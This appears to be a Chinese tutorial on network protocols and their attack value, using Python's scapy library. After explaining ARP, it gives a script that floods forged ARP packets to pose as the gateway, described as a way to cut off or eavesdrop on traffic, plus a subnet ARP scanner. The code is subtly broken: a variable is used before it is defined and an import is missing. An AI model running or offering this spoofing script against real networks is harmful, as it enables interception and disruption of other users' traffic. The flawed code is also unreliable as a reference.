從各項網路協議開始瞭解 分析其用途以及攻擊價值 透過py構造資料包自動化的實現攻擊過程
scapy模組:
該模組非常強大 可以構造絕大部分資料包:
上圖構造了一個tcp的資料包 其分片為零 協議為tcp
再次構造一個資料包 透過呼叫show()檢視預設構造資料包結構
如何對資料包的屬性值進行修改呢,其實很簡單
在括號中傳入對應的值即可
嘗試構造一個ping的資料包
資料包發出後 ping這個變數被賦值為該資料包的回包
1 ARP協議:
用於多路訪問網路的實體地址獲取
典型的多路訪問網路如乙太網中 arp用於mac地址的獲取
多點幀中繼網路中的 反向arp用於dlci的獲取
mgre多點接入的通用路由封裝中的 nhrp用於真實ip的獲取
arp資料包結構
arp請求
arp響應
型別號為0806
顯然第一個請求包是已知對端的mac的 這是由於本機存在目標的arp快取
在多路訪問的網路中需要邏輯地址和硬體地址的對映 mgre在封裝外層頭部時會進行nhrp詢問對端的真實的ip地址
在每個主機的內部會維持一個arp表項
arp的攻擊面在於其發包方式為廣播 且不進行身份認證 換言之 我可以瘋狂發包 將閘道器的mac地址指向不存在的地址或者為本機地址 實現阻斷或者監聽資料包的效果:
from scapy.all import *
import socket
des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())
def arp_redirector():
p1=Ether(dst="ff:ff:ff:ff:ff:ff",src=loacl_mac)/ARP(pdst=des_ip,psrc="192.168.0.1")
for i in range(6000):
sendp(p1)
time.sleep(0.1)
或者arp不斷修改請求物件的ip地址 觀察有無回包實現同網段的地址掃描:
from scapy.all import *
import socket
des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())
def arp_scan():
res=[]
result = srp(Ether(src=loacl_mac,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=des_ip),iface='Intel(R) Wi-Fi 6E AX211 160MHz',timeout=2)
ans,_=result
print(f'主機存活情況為{len(ans)}\n')
for _,i in ans:
res.append([i[ARP].psrc,i[ARP].hwsrc])
for ip,mac in res:
print(f"ip:{ip} mac:{mac}")